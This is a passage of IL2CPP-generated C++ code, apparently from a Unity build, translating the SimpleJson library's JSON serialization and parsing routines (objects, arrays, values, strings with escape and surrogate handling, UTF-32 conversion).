il2cpp_codegen_delegate_end_invoke((Il2CppAsyncResult*) ___result0, 0); } // System.Boolean SimpleJson.SimpleJson::TryDeserializeObject(System.String,System.Object&) extern "C" bool SimpleJson_TryDeserializeObject_m2024713247 (Il2CppObject * __this /* static, unused */, String_t* ___json0, Il2CppObject ** ___obj1, const MethodInfo* method) { bool V_0 = false; CharU5BU5D_t1328083999* V_1 = NULL; int32_t V_2 = 0; bool V_3 = false; { V_0 = (bool)1; String_t* L_0 = ___json0; if (!L_0) { goto IL_0025; } } { String_t* L_1 = ___json0; NullCheck(L_1); CharU5BU5D_t1328083999* L_2 = String_ToCharArray_m870309954(L_1, /*hidden argument*/NULL); V_1 = L_2; V_2 = 0; Il2CppObject ** L_3 = ___obj1; CharU5BU5D_t1328083999* L_4 = V_1; Il2CppObject * L_5 = SimpleJson_ParseValue_m1002395532(NULL /*static, unused*/, L_4, (&V_2), (&V_0), /*hidden argument*/NULL); *((Il2CppObject **)(L_3)) = (Il2CppObject *)L_5; Il2CppCodeGenWriteBarrier((Il2CppObject **)(L_3), (Il2CppObject *)L_5); goto IL_0028; } IL_0025: { Il2CppObject ** L_6 = ___obj1; *((Il2CppObject **)(L_6)) = (Il2CppObject *)NULL; Il2CppCodeGenWriteBarrier((Il2CppObject **)(L_6), (Il2CppObject *)NULL); } IL_0028: { bool L_7 = V_0; V_3 = L_7; goto IL_002f; } IL_002f: { bool L_8 = V_3; return L_8; } } // System.String SimpleJson.SimpleJson::SerializeObject(System.Object,SimpleJson.IJsonSerializerStrategy) extern "C" String_t* SimpleJson_SerializeObject_m3389162840 (Il2CppObject * __this /* static, unused */, Il2CppObject * ___json0, Il2CppObject * ___jsonSerializerStrategy1, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (SimpleJson_SerializeObject_m3389162840_MetadataUsageId); s_Il2CppMethodInitialized = true; } StringBuilder_t1221177846 * V_0 = NULL; bool V_1 = false; String_t* V_2 = NULL; String_t* G_B3_0 = NULL; { StringBuilder_t1221177846 * L_0 = (StringBuilder_t1221177846 *)il2cpp_codegen_object_new(StringBuilder_t1221177846_il2cpp_TypeInfo_var); StringBuilder__ctor_m536337337(L_0, ((int32_t)2000), /*hidden argument*/NULL); V_0 = L_0; Il2CppObject * L_1 = ___jsonSerializerStrategy1; Il2CppObject * L_2 = ___json0; StringBuilder_t1221177846 * L_3 = V_0; bool L_4 = SimpleJson_SerializeValue_m2700795577(NULL /*static, unused*/, L_1, L_2, L_3, /*hidden argument*/NULL); V_1 = L_4; bool L_5 = V_1; if (!L_5) { goto IL_0026; } } { StringBuilder_t1221177846 * L_6 = V_0; NullCheck(L_6); String_t* L_7 = VirtFuncInvoker0< String_t* >::Invoke(3 /* System.String System.Object::ToString() */, L_6); G_B3_0 = L_7; goto IL_0027; } IL_0026: { G_B3_0 = ((String_t*)(NULL)); } IL_0027: { V_2 = G_B3_0; goto IL_002d; } IL_002d: { String_t* L_8 = V_2; return L_8; } } // System.String SimpleJson.SimpleJson::SerializeObject(System.Object) extern "C" String_t* SimpleJson_SerializeObject_m478839316 (Il2CppObject * __this /* static, unused */, Il2CppObject * ___json0, const MethodInfo* method) { String_t* V_0 = NULL; { Il2CppObject * L_0 = ___json0; Il2CppObject * L_1 = SimpleJson_get_CurrentJsonSerializerStrategy_m3073481146(NULL /*static, unused*/, /*hidden argument*/NULL); String_t* L_2 = SimpleJson_SerializeObject_m3389162840(NULL /*static, unused*/, L_0, L_1, /*hidden argument*/NULL); V_0 = L_2; goto IL_0012; } IL_0012: { String_t* L_3 = V_0; return L_3; } } // System.Collections.Generic.IDictionary`2 SimpleJson.SimpleJson::ParseObject(System.Char[],System.Int32&,System.Boolean&) extern "C" Il2CppObject* SimpleJson_ParseObject_m2464058880 (Il2CppObject * __this /* static, unused */, CharU5BU5D_t1328083999* ___json0, int32_t* ___index1, bool* ___success2, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (SimpleJson_ParseObject_m2464058880_MetadataUsageId); s_Il2CppMethodInitialized = true; } Il2CppObject* V_0 = NULL; int32_t V_1 = 0; bool V_2 = false; Il2CppObject* V_3 = NULL; String_t* V_4 = NULL; Il2CppObject * V_5 = NULL; { JsonObject_t2300545015 * L_0 = (JsonObject_t2300545015 *)il2cpp_codegen_object_new(JsonObject_t2300545015_il2cpp_TypeInfo_var); JsonObject__ctor_m2062444459(L_0, /*hidden argument*/NULL); V_0 = L_0; CharU5BU5D_t1328083999* L_1 = ___json0; int32_t* L_2 = ___index1; SimpleJson_NextToken_m3906376762(NULL /*static, unused*/, L_1, L_2, /*hidden argument*/NULL); V_2 = (bool)0; goto IL_00bb; } IL_0016: { CharU5BU5D_t1328083999* L_3 = ___json0; int32_t* L_4 = ___index1; int32_t L_5 = SimpleJson_LookAhead_m2426341548(NULL /*static, unused*/, L_3, (*((int32_t*)L_4)), /*hidden argument*/NULL); V_1 = L_5; int32_t L_6 = V_1; if (L_6) { goto IL_0031; } } { bool* L_7 = ___success2; *((int8_t*)(L_7)) = (int8_t)0; V_3 = (Il2CppObject*)NULL; goto IL_00c8; } IL_0031: { int32_t L_8 = V_1; if ((!(((uint32_t)L_8) == ((uint32_t)6)))) { goto IL_0045; } } { CharU5BU5D_t1328083999* L_9 = ___json0; int32_t* L_10 = ___index1; SimpleJson_NextToken_m3906376762(NULL /*static, unused*/, L_9, L_10, /*hidden argument*/NULL); goto IL_00ba; } IL_0045: { int32_t L_11 = V_1; if ((!(((uint32_t)L_11) == ((uint32_t)2)))) { goto IL_005c; } } { CharU5BU5D_t1328083999* L_12 = ___json0; int32_t* L_13 = ___index1; SimpleJson_NextToken_m3906376762(NULL /*static, unused*/, L_12, L_13, /*hidden argument*/NULL); Il2CppObject* L_14 = V_0; V_3 = L_14; goto IL_00c8; } IL_005c: { CharU5BU5D_t1328083999* L_15 = ___json0; int32_t* L_16 = ___index1; bool* L_17 = ___success2; String_t* L_18 = SimpleJson_ParseString_m1134805156(NULL /*static, unused*/, L_15, L_16, L_17, /*hidden argument*/NULL); V_4 = L_18; bool* L_19 = ___success2; if ((*((int8_t*)L_19))) { goto IL_0079; } } { bool* L_20 = ___success2; *((int8_t*)(L_20)) = (int8_t)0; V_3 = (Il2CppObject*)NULL; goto IL_00c8; } IL_0079: { CharU5BU5D_t1328083999* L_21 = ___json0; int32_t* L_22 = ___index1; int32_t L_23 = SimpleJson_NextToken_m3906376762(NULL /*static, unused*/, L_21, L_22, /*hidden argument*/NULL); V_1 = L_23; int32_t L_24 = V_1; if ((((int32_t)L_24) == ((int32_t)5))) { goto IL_0093; } } { bool* L_25 = ___success2; *((int8_t*)(L_25)) = (int8_t)0; V_3 = (Il2CppObject*)NULL; goto IL_00c8; } IL_0093: { CharU5BU5D_t1328083999* L_26 = ___json0; int32_t* L_27 = ___index1; bool* L_28 = ___success2; Il2CppObject * L_29 = SimpleJson_ParseValue_m1002395532(NULL /*static, unused*/, L_26, L_27, L_28, /*hidden argument*/NULL); V_5 = L_29; bool* L_30 = ___success2; if ((*((int8_t*)L_30))) { goto IL_00af; } } { bool* L_31 = ___success2; *((int8_t*)(L_31)) = (int8_t)0; V_3 = (Il2CppObject*)NULL; goto IL_00c8; } IL_00af: { Il2CppObject* L_32 = V_0; String_t* L_33 = V_4; Il2CppObject * L_34 = V_5; NullCheck(L_32); InterfaceActionInvoker2< String_t*, Il2CppObject * >::Invoke(3 /* System.Void System.Collections.Generic.IDictionary`2::set_Item(!0,!1) */, IDictionary_2_t2603311978_il2cpp_TypeInfo_var, L_32, L_33, L_34); } IL_00ba: { } IL_00bb: { bool L_35 = V_2; if (!L_35) { goto IL_0016; } } { Il2CppObject* L_36 = V_0; V_3 = L_36; goto IL_00c8; } IL_00c8: { Il2CppObject* L_37 = V_3; return L_37; } } // SimpleJson.JsonArray SimpleJson.SimpleJson::ParseArray(System.Char[],System.Int32&,System.Boolean&) extern "C" JsonArray_t1679500587 * SimpleJson_ParseArray_m3513734753 (Il2CppObject * __this /* static, unused */, CharU5BU5D_t1328083999* ___json0, int32_t* ___index1, bool* ___success2, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (SimpleJson_ParseArray_m3513734753_MetadataUsageId); s_Il2CppMethodInitialized = true; } JsonArray_t1679500587 * V_0 = NULL; bool V_1 = false; int32_t V_2 = 0; JsonArray_t1679500587 * V_3 = NULL; Il2CppObject * V_4 = NULL; { JsonArray_t1679500587 * L_0 = (JsonArray_t1679500587 *)il2cpp_codegen_object_new(JsonArray_t1679500587_il2cpp_TypeInfo_var); JsonArray__ctor_m33515755(L_0, /*hidden argument*/NULL); V_0 = L_0; CharU5BU5D_t1328083999* L_1 = ___json0; int32_t* L_2 = ___index1; SimpleJson_NextToken_m3906376762(NULL /*static, unused*/, L_1, L_2, /*hidden argument*/NULL); V_1 = (bool)0; goto IL_007d; } IL_0016: { CharU5BU5D_t1328083999* L_3 = ___json0; int32_t* L_4 = ___index1; int32_t L_5 = SimpleJson_LookAhead_m2426341548(NULL /*static, unused*/, L_3, (*((int32_t*)L_4)), /*hidden argument*/NULL); V_2 = L_5; int32_t L_6 = V_2; if (L_6) { goto IL_0031; } } { bool* L_7 = ___success2; *((int8_t*)(L_7)) = (int8_t)0; V_3 = (JsonArray_t1679500587 *)NULL; goto IL_008a; } IL_0031: { int32_t L_8 = V_2; if ((!(((uint32_t)L_8) == ((uint32_t)6)))) { goto IL_0045; } } { CharU5BU5D_t1328083999* L_9 = ___json0; int32_t* L_10 = ___index1; SimpleJson_NextToken_m3906376762(NULL /*static, unused*/, L_9, L_10, /*hidden argument*/NULL); goto IL_007c; } IL_0045: { int32_t L_11 = V_2; if ((!(((uint32_t)L_11) == ((uint32_t)4)))) { goto IL_005a; } } { CharU5BU5D_t1328083999* L_12 = ___json0; int32_t* L_13 = ___index1; SimpleJson_NextToken_m3906376762(NULL /*static, unused*/, L_12, L_13, /*hidden argument*/NULL); goto IL_0083; } IL_005a: { CharU5BU5D_t1328083999* L_14 = ___json0; int32_t* L_15 = ___index1; bool* L_16 = ___success2; Il2CppObject * L_17 = SimpleJson_ParseValue_m1002395532(NULL /*static, unused*/, L_14, L_15, L_16, /*hidden argument*/NULL); V_4 = L_17; bool* L_18 = ___success2; if ((*((int8_t*)L_18))) { goto IL_0073; } } { V_3 = (JsonArray_t1679500587 *)NULL; goto IL_008a; } IL_0073: { JsonArray_t1679500587 * L_19 = V_0; Il2CppObject * L_20 = V_4; NullCheck(L_19); List_1_Add_m4157722533(L_19, L_20, /*hidden argument*/List_1_Add_m4157722533_MethodInfo_var); } IL_007c: { } IL_007d: { bool L_21 = V_1; if (!L_21) { goto IL_0016; } } IL_0083: { JsonArray_t1679500587 * L_22 = V_0; V_3 = L_22; goto IL_008a; } IL_008a: { JsonArray_t1679500587 * L_23 = V_3; return L_23; } } // System.Object SimpleJson.SimpleJson::ParseValue(System.Char[],System.Int32&,System.Boolean&) extern "C" Il2CppObject * SimpleJson_ParseValue_m1002395532 (Il2CppObject * __this /* static, unused */, CharU5BU5D_t1328083999* ___json0, int32_t* ___index1, bool* ___success2, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (SimpleJson_ParseValue_m1002395532_MetadataUsageId); s_Il2CppMethodInitialized = true; } int32_t V_0 = 0; Il2CppObject * V_1 = NULL; { CharU5BU5D_t1328083999* L_0 = ___json0; int32_t* L_1 = ___index1; int32_t L_2 = SimpleJson_LookAhead_m2426341548(NULL /*static, unused*/, L_0, (*((int32_t*)L_1)), /*hidden argument*/NULL); V_0 = L_2; int32_t L_3 = V_0; if (L_3 == 0) { goto IL_00b4; } if (L_3 == 1) { goto IL_0061; } if (L_3 == 2) { goto IL_00b9; } if (L_3 == 3) { goto IL_006f; } if (L_3 == 4) { goto IL_00b9; } if (L_3 == 5) { goto IL_00b9; } if (L_3 == 6) { goto IL_00b9; } if (L_3 == 7) { goto IL_0045; } if (L_3 == 8) { goto IL_0053; } if (L_3 == 9) { goto IL_007d; } if (L_3 == 10) { goto IL_0091; } if (L_3 == 11) { goto IL_00a5; } } { goto IL_00b9; } IL_0045: { CharU5BU5D_t1328083999* L_4 = ___json0; int32_t* L_5 = ___index1; bool* L_6 = ___success2; String_t* L_7 = SimpleJson_ParseString_m1134805156(NULL /*static, unused*/, L_4, L_5, L_6, /*hidden argument*/NULL); V_1 = L_7; goto IL_00c3; } IL_0053: { CharU5BU5D_t1328083999* L_8 = ___json0; int32_t* L_9 = ___index1; bool* L_10 = ___success2; Il2CppObject * L_11 = SimpleJson_ParseNumber_m2704962974(NULL /*static, unused*/, L_8, L_9, L_10, /*hidden argument*/NULL); V_1 = L_11; goto IL_00c3; } IL_0061: { CharU5BU5D_t1328083999* L_12 = ___json0; int32_t* L_13 = ___index1; bool* L_14 = ___success2; Il2CppObject* L_15 = SimpleJson_ParseObject_m2464058880(NULL /*static, unused*/, L_12, L_13, L_14, /*hidden argument*/NULL); V_1 = L_15; goto IL_00c3; } IL_006f: { CharU5BU5D_t1328083999* L_16 = ___json0; int32_t* L_17 = ___index1; bool* L_18 = ___success2; JsonArray_t1679500587 * L_19 = SimpleJson_ParseArray_m3513734753(NULL /*static, unused*/, L_16, L_17, L_18, /*hidden argument*/NULL); V_1 = L_19; goto IL_00c3; } IL_007d: { CharU5BU5D_t1328083999* L_20 = ___json0; int32_t* L_21 = ___index1; SimpleJson_NextToken_m3906376762(NULL /*static, unused*/, L_20, L_21, /*hidden argument*/NULL); bool L_22 = ((bool)1); Il2CppObject * L_23 = Box(Boolean_t3825574718_il2cpp_TypeInfo_var, &L_22); V_1 = L_23; goto IL_00c3; } IL_0091: { CharU5BU5D_t1328083999* L_24 = ___json0; int32_t* L_25 = ___index1; SimpleJson_NextToken_m3906376762(NULL /*static, unused*/, L_24, L_25, /*hidden argument*/NULL); bool L_26 = ((bool)0); Il2CppObject * L_27 = Box(Boolean_t3825574718_il2cpp_TypeInfo_var, &L_26); V_1 = L_27; goto IL_00c3; } IL_00a5: { CharU5BU5D_t1328083999* L_28 = ___json0; int32_t* L_29 = ___index1; SimpleJson_NextToken_m3906376762(NULL /*static, unused*/, L_28, L_29, /*hidden argument*/NULL); V_1 = NULL; goto IL_00c3; } IL_00b4: { goto IL_00b9; } IL_00b9: { bool* L_30 = ___success2; *((int8_t*)(L_30)) = (int8_t)0; V_1 = NULL; goto IL_00c3; } IL_00c3: { Il2CppObject * L_31 = V_1; return L_31; } } // System.String SimpleJson.SimpleJson::ParseString(System.Char[],System.Int32&,System.Boolean&) extern "C" String_t* SimpleJson_ParseString_m1134805156 (Il2CppObject * __this /* static, unused */, CharU5BU5D_t1328083999* ___json0, int32_t* ___index1, bool* ___success2, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (SimpleJson_ParseString_m1134805156_MetadataUsageId); s_Il2CppMethodInitialized = true; } StringBuilder_t1221177846 * V_0 = NULL; Il2CppChar V_1 = 0x0; int32_t V_2 = 0; bool V_3 = false; int32_t V_4 = 0; uint32_t V_5 = 0; bool V_6 = false; String_t* V_7 = NULL; uint32_t V_8 = 0; { StringBuilder_t1221177846 * L_0 = (StringBuilder_t1221177846 *)il2cpp_codegen_object_new(StringBuilder_t1221177846_il2cpp_TypeInfo_var); StringBuilder__ctor_m536337337(L_0, ((int32_t)2000), /*hidden argument*/NULL); V_0 = L_0; CharU5BU5D_t1328083999* L_1 = ___json0; int32_t* L_2 = ___index1; SimpleJson_EatWhitespace_m481181633(NULL /*static, unused*/, L_1, L_2, /*hidden argument*/NULL); CharU5BU5D_t1328083999* L_3 = ___json0; int32_t* L_4 = ___index1; int32_t* L_5 = ___index1; int32_t L_6 = (*((int32_t*)L_5)); V_2 = L_6; *((int32_t*)(L_4)) = (int32_t)((int32_t)((int32_t)L_6+(int32_t)1)); int32_t L_7 = V_2; NullCheck(L_3); int32_t L_8 = L_7; uint16_t L_9 = (L_3)->GetAt(static_cast(L_8)); V_1 = L_9; V_3 = (bool)0; goto IL_0253; } IL_0026: { int32_t* L_10 = ___index1; CharU5BU5D_t1328083999* L_11 = ___json0; NullCheck(L_11); if ((!(((uint32_t)(*((int32_t*)L_10))) == ((uint32_t)(((int32_t)((int32_t)(((Il2CppArray *)L_11)->max_length)))))))) { goto IL_0036; } } { goto IL_0259; } IL_0036: { CharU5BU5D_t1328083999* L_12 = ___json0; int32_t* L_13 = ___index1; int32_t* L_14 = ___index1; int32_t L_15 = (*((int32_t*)L_14)); V_2 = L_15; *((int32_t*)(L_13)) = (int32_t)((int32_t)((int32_t)L_15+(int32_t)1)); int32_t L_16 = V_2; NullCheck(L_12); int32_t L_17 = L_16; uint16_t L_18 = (L_12)->GetAt(static_cast(L_17)); V_1 = L_18; Il2CppChar L_19 = V_1; if ((!(((uint32_t)L_19) == ((uint32_t)((int32_t)34))))) { goto IL_0052; } } { V_3 = (bool)1; goto IL_0259; } IL_0052: { Il2CppChar L_20 = V_1; if ((!(((uint32_t)L_20) == ((uint32_t)((int32_t)92))))) { goto IL_024a; } } { int32_t* L_21 = ___index1; CharU5BU5D_t1328083999* L_22 = ___json0; NullCheck(L_22); if ((!(((uint32_t)(*((int32_t*)L_21))) == ((uint32_t)(((int32_t)((int32_t)(((Il2CppArray *)L_22)->max_length)))))))) { goto IL_006a; } } { goto IL_0259; } IL_006a: { CharU5BU5D_t1328083999* L_23 = ___json0; int32_t* L_24 = ___index1; int32_t* L_25 = ___index1; int32_t L_26 = (*((int32_t*)L_25)); V_2 = L_26; *((int32_t*)(L_24)) = (int32_t)((int32_t)((int32_t)L_26+(int32_t)1)); int32_t L_27 = V_2; NullCheck(L_23); int32_t L_28 = L_27; uint16_t L_29 = (L_23)->GetAt(static_cast(L_28)); V_1 = L_29; Il2CppChar L_30 = V_1; if ((!(((uint32_t)L_30) == ((uint32_t)((int32_t)34))))) { goto IL_008c; } } { StringBuilder_t1221177846 * L_31 = V_0; NullCheck(L_31); StringBuilder_Append_m3618697540(L_31, ((int32_t)34), /*hidden argument*/NULL); goto IL_0244; } IL_008c: { Il2CppChar L_32 = V_1; if ((!(((uint32_t)L_32) == ((uint32_t)((int32_t)92))))) { goto IL_00a2; } } { StringBuilder_t1221177846 * L_33 = V_0; NullCheck(L_33); StringBuilder_Append_m3618697540(L_33, ((int32_t)92), /*hidden argument*/NULL); goto IL_0244; } IL_00a2: { Il2CppChar L_34 = V_1; if ((!(((uint32_t)L_34) == ((uint32_t)((int32_t)47))))) { goto IL_00b8; } } { StringBuilder_t1221177846 * L_35 = V_0; NullCheck(L_35); StringBuilder_Append_m3618697540(L_35, ((int32_t)47), /*hidden argument*/NULL); goto IL_0244; } IL_00b8: { Il2CppChar L_36 = V_1; if ((!(((uint32_t)L_36) == ((uint32_t)((int32_t)98))))) { goto IL_00cd; } } { StringBuilder_t1221177846 * L_37 = V_0; NullCheck(L_37); StringBuilder_Append_m3618697540(L_37, 8, /*hidden argument*/NULL); goto IL_0244; } IL_00cd: { Il2CppChar L_38 = V_1; if ((!(((uint32_t)L_38) == ((uint32_t)((int32_t)102))))) { goto IL_00e3; } } { StringBuilder_t1221177846 * L_39 = V_0; NullCheck(L_39); StringBuilder_Append_m3618697540(L_39, ((int32_t)12), /*hidden argument*/NULL); goto IL_0244; } IL_00e3: { Il2CppChar L_40 = V_1; if ((!(((uint32_t)L_40) == ((uint32_t)((int32_t)110))))) { goto IL_00f9; } } { StringBuilder_t1221177846 * L_41 = V_0; NullCheck(L_41); StringBuilder_Append_m3618697540(L_41, ((int32_t)10), /*hidden argument*/NULL); goto IL_0244; } IL_00f9: { Il2CppChar L_42 = V_1; if ((!(((uint32_t)L_42) == ((uint32_t)((int32_t)114))))) { goto IL_010f; } } { StringBuilder_t1221177846 * L_43 = V_0; NullCheck(L_43); StringBuilder_Append_m3618697540(L_43, ((int32_t)13), /*hidden argument*/NULL); goto IL_0244; } IL_010f: { Il2CppChar L_44 = V_1; if ((!(((uint32_t)L_44) == ((uint32_t)((int32_t)116))))) { goto IL_0125; } } { StringBuilder_t1221177846 * L_45 = V_0; NullCheck(L_45); StringBuilder_Append_m3618697540(L_45, ((int32_t)9), /*hidden argument*/NULL); goto IL_0244; } IL_0125: { Il2CppChar L_46 = V_1; if ((!(((uint32_t)L_46) == ((uint32_t)((int32_t)117))))) { goto IL_0244; } } { CharU5BU5D_t1328083999* L_47 = ___json0; NullCheck(L_47); int32_t* L_48 = ___index1; V_4 = ((int32_t)((int32_t)(((int32_t)((int32_t)(((Il2CppArray *)L_47)->max_length))))-(int32_t)(*((int32_t*)L_48)))); int32_t L_49 = V_4; if ((((int32_t)L_49) < ((int32_t)4))) { goto IL_023e; } } { bool* L_50 = ___success2; CharU5BU5D_t1328083999* L_51 = ___json0; int32_t* L_52 = ___index1; String_t* L_53 = String_CreateString_m2448464375(NULL, L_51, (*((int32_t*)L_52)), 4, /*hidden argument*/NULL); IL2CPP_RUNTIME_CLASS_INIT(CultureInfo_t3500843524_il2cpp_TypeInfo_var); CultureInfo_t3500843524 * L_54 = CultureInfo_get_InvariantCulture_m398972276(NULL /*static, unused*/, /*hidden argument*/NULL); bool L_55 = UInt32_TryParse_m3987111861(NULL /*static, unused*/, L_53, ((int32_t)515), L_54, (&V_5), /*hidden argument*/NULL); bool L_56 = L_55; V_6 = L_56; *((int8_t*)(L_50)) = (int8_t)L_56; bool L_57 = V_6; if (L_57) { goto IL_0171; } } { V_7 = _stringLiteral371857150; goto IL_0278; } IL_0171: { uint32_t L_58 = V_5; if ((!(((uint32_t)((int32_t)55296)) <= ((uint32_t)L_58)))) { goto IL_0224; } } { uint32_t L_59 = V_5; if ((!(((uint32_t)L_59) <= ((uint32_t)((int32_t)56319))))) { goto IL_0224; } } { int32_t* L_60 = ___index1; int32_t* L_61 = ___index1; *((int32_t*)(L_60)) = (int32_t)((int32_t)((int32_t)(*((int32_t*)L_61))+(int32_t)4)); CharU5BU5D_t1328083999* L_62 = ___json0; NullCheck(L_62); int32_t* L_63 = ___index1; V_4 = ((int32_t)((int32_t)(((int32_t)((int32_t)(((Il2CppArray *)L_62)->max_length))))-(int32_t)(*((int32_t*)L_63)))); int32_t L_64 = V_4; if ((((int32_t)L_64) < ((int32_t)6))) { goto IL_0215; } } { CharU5BU5D_t1328083999* L_65 = ___json0; int32_t* L_66 = ___index1; String_t* L_67 = String_CreateString_m2448464375(NULL, L_65, (*((int32_t*)L_66)), 2, /*hidden argument*/NULL); IL2CPP_RUNTIME_CLASS_INIT(String_t_il2cpp_TypeInfo_var); bool L_68 = String_op_Equality_m1790663636(NULL /*static, unused*/, L_67, _stringLiteral2303484169, /*hidden argument*/NULL); if (!L_68) { goto IL_0214; } } { CharU5BU5D_t1328083999* L_69 = ___json0; int32_t* L_70 = ___index1; String_t* L_71 = String_CreateString_m2448464375(NULL, L_69, ((int32_t)((int32_t)(*((int32_t*)L_70))+(int32_t)2)), 4, /*hidden argument*/NULL); IL2CPP_RUNTIME_CLASS_INIT(CultureInfo_t3500843524_il2cpp_TypeInfo_var); CultureInfo_t3500843524 * L_72 = CultureInfo_get_InvariantCulture_m398972276(NULL /*static, unused*/, /*hidden argument*/NULL); bool L_73 = UInt32_TryParse_m3987111861(NULL /*static, unused*/, L_71, ((int32_t)515), L_72, (&V_8), /*hidden argument*/NULL); if (!L_73) { goto IL_0214; } } { uint32_t L_74 = V_8; if ((!(((uint32_t)((int32_t)56320)) <= ((uint32_t)L_74)))) { goto IL_0213; } } { uint32_t L_75 = V_8; if ((!(((uint32_t)L_75) <= ((uint32_t)((int32_t)57343))))) { goto IL_0213; } } { StringBuilder_t1221177846 * L_76 = V_0; uint32_t L_77 = V_5; NullCheck(L_76); StringBuilder_Append_m3618697540(L_76, (((int32_t)((uint16_t)L_77))), /*hidden argument*/NULL); StringBuilder_t1221177846 * L_78 = V_0; uint32_t L_79 = V_8; NullCheck(L_78); StringBuilder_Append_m3618697540(L_78, (((int32_t)((uint16_t)L_79))), /*hidden argument*/NULL); int32_t* L_80 = ___index1; int32_t* L_81 = ___index1; *((int32_t*)(L_80)) = (int32_t)((int32_t)((int32_t)(*((int32_t*)L_81))+(int32_t)6)); goto IL_0253; } IL_0213: { } IL_0214: { } IL_0215: { bool* L_82 = ___success2; *((int8_t*)(L_82)) = (int8_t)0; V_7 = _stringLiteral371857150; goto IL_0278; } IL_0224: { StringBuilder_t1221177846 * L_83 = V_0; uint32_t L_84 = V_5; String_t* L_85 = SimpleJson_ConvertFromUtf32_m799444971(NULL /*static, unused*/, L_84, /*hidden argument*/NULL); NullCheck(L_83); StringBuilder_Append_m3636508479(L_83, L_85, /*hidden argument*/NULL); int32_t* L_86 = ___index1; int32_t* L_87 = ___index1; *((int32_t*)(L_86)) = (int32_t)((int32_t)((int32_t)(*((int32_t*)L_87))+(int32_t)4)); goto IL_0243; } IL_023e: { goto IL_0259; } IL_0243: { } IL_0244: { goto IL_0252; } IL_024a: { StringBuilder_t1221177846 * L_88 = V_0; Il2CppChar L_89 = V_1; NullCheck(L_88); StringBuilder_Append_m3618697540(L_88, L_89, /*hidden argument*/NULL); } IL_0252: { } IL_0253: { bool L_90 = V_3; if (!L_90) { goto IL_0026; } } IL_0259: { bool L_91 = V_3; if (L_91) { goto IL_026b; } } { bool* L_92 = ___success2; *((int8_t*)(L_92)) = (int8_t)0; V_7 = (String_t*)NULL; goto IL_0278; } IL_026b: { StringBuilder_t1221177846 * L_93 = V_0; NullCheck(L_93); String_t* L_94 = VirtFuncInvoker0< String_t* >::Invoke(3 /* System.String System.Object::ToString() */, L_93); V_7 = L_94; goto IL_0278; } IL_0278: { String_t* L_95 = V_7; return L_95; } } // System.String SimpleJson.SimpleJson::ConvertFromUtf32(System.Int32) extern "C" String_t* SimpleJson_ConvertFromUtf32_m799444971 (Il2CppObject * __this /* static, unused */, int32_t ___utf320, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (SimpleJson_ConvertFromUtf32_m799444971_MetadataUsageId); s_Il2CppMethodInitialized = true; } String_t* V_0 = NULL; { int32_t L_0 = ___utf320; if ((((int32_t)L_0) < ((int32_t)0))) { goto IL_0013; } } { int32_t L_1 = ___utf320; if ((((int32_t)L_1) <= ((int32_t)((int32_t)1114111)))) { goto IL_0023; } } IL_0013: { ArgumentOutOfRangeException_t279959794 * L_2 = (ArgumentOutOfRangeException_t279959794 *)il2cpp_codegen_object_new(ArgumentOutOfRangeException_t279959794_il2cpp_TypeInfo_var); ArgumentOutOfRangeException__ctor_m4234257711(L_2, _stringLiteral2737755086, _stringLiteral436072782, /*hidden argument*/NULL); IL2CPP_RAISE_MANAGED_EXCEPTION(L_2); } IL_0023: { int32_t L_3 = ___utf320; if ((((int32_t)((int32_t)55296)) > ((int32_t)L_3))) { goto IL_0049; } } { int32_t L_4 = ___utf320; if ((((int32_t)L_4) > ((int32_t)((int32_t)57343)))) { goto IL_0049; } } { ArgumentOutOfRangeException_t279959794 * L_5 = (ArgumentOutOfRangeException_t279959794 *)il2cpp_codegen_object_new(ArgumentOutOfRangeException_t279959794_il2cpp_TypeInfo_var); ArgumentOutOfRangeException__ctor_m4234257711(L_5, _stringLiteral2737755086, _stringLiteral107918005, /*hidden argument*/NULL); IL2CPP_RAISE_MANAGED_EXCEPTION(L_5); } IL_0049: { int32_t L_6 = ___utf320; if ((((int32_t)L_6) >= ((int32_t)((int32_t)65536)))) { goto IL_0062; } } { int32_t L_7 = ___utf320; String_t* L_8 = String_CreateString_m2556700934(NULL, (((int32_t)((uint16_t)L_7))), 1, /*hidden argument*/NULL); V_0 = L_8; goto IL_009b; } IL_0062: { int32_t L_9 = ___utf320; ___utf320 = ((int32_t)((int32_t)L_9-(int32_t)((int32_t)65536))); CharU5BU5D_t1328083999* L_10 = ((CharU5BU5D_t1328083999*)SZArrayNew(CharU5BU5D_t1328083999_il2cpp_TypeInfo_var, (uint32_t)2)); int32_t L_11 = ___utf320; NullCheck(L_10); (L_10)->SetAt(static_cast(0), (Il2CppChar)(((int32_t)((uint16_t)((int32_t)((int32_t)((int32_t)((int32_t)L_11>>(int32_t)((int32_t)10)))+(int32_t)((int32_t)55296))))))); CharU5BU5D_t1328083999* L_12 = L_10; int32_t L_13 = ___utf320; NullCheck(L_12); (L_12)->SetAt(static_cast(1), (Il2CppChar)(((int32_t)((uint16_t)((int32_t)((int32_t)((int32_t)((int32_t)L_13%(int32_t)((int32_t)1024)))+(int32_t)((int32_t)56320))))))); String_t* L_14 = String_CreateString_m3818307083(NULL, L_12, /*hidden argument*/NULL); V_0 = L_14; goto IL_009b; } IL_009b: { String_t* L_15 = V_0; return L_15; } } // System.Object SimpleJson.SimpleJson::ParseNumber(System.Char[],System.Int32&,System.Boolean&) extern "C" Il2CppObject * SimpleJson_ParseNumber_m2704962974 (Il2CppObject * __this /* static, unused */, CharU5BU5D_t1328083999* ___json0, int32_t* ___index1, bool* ___success2, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (SimpleJson_ParseNumber_m2704962974_MetadataUsageId); s_Il2CppMethodInitialized = true; } int32_t V_0 = 0; int32_t V_1 = 0; Il2CppObject * V_2 = NULL; String_t* V_3 = NULL; double V_4 = 0.0; int64_t V_5 = 0; Il2CppObject * V_6 = NULL; { CharU5BU5D_t1328083999* L_0 = ___json0; int32_t* L_1 = ___index1; 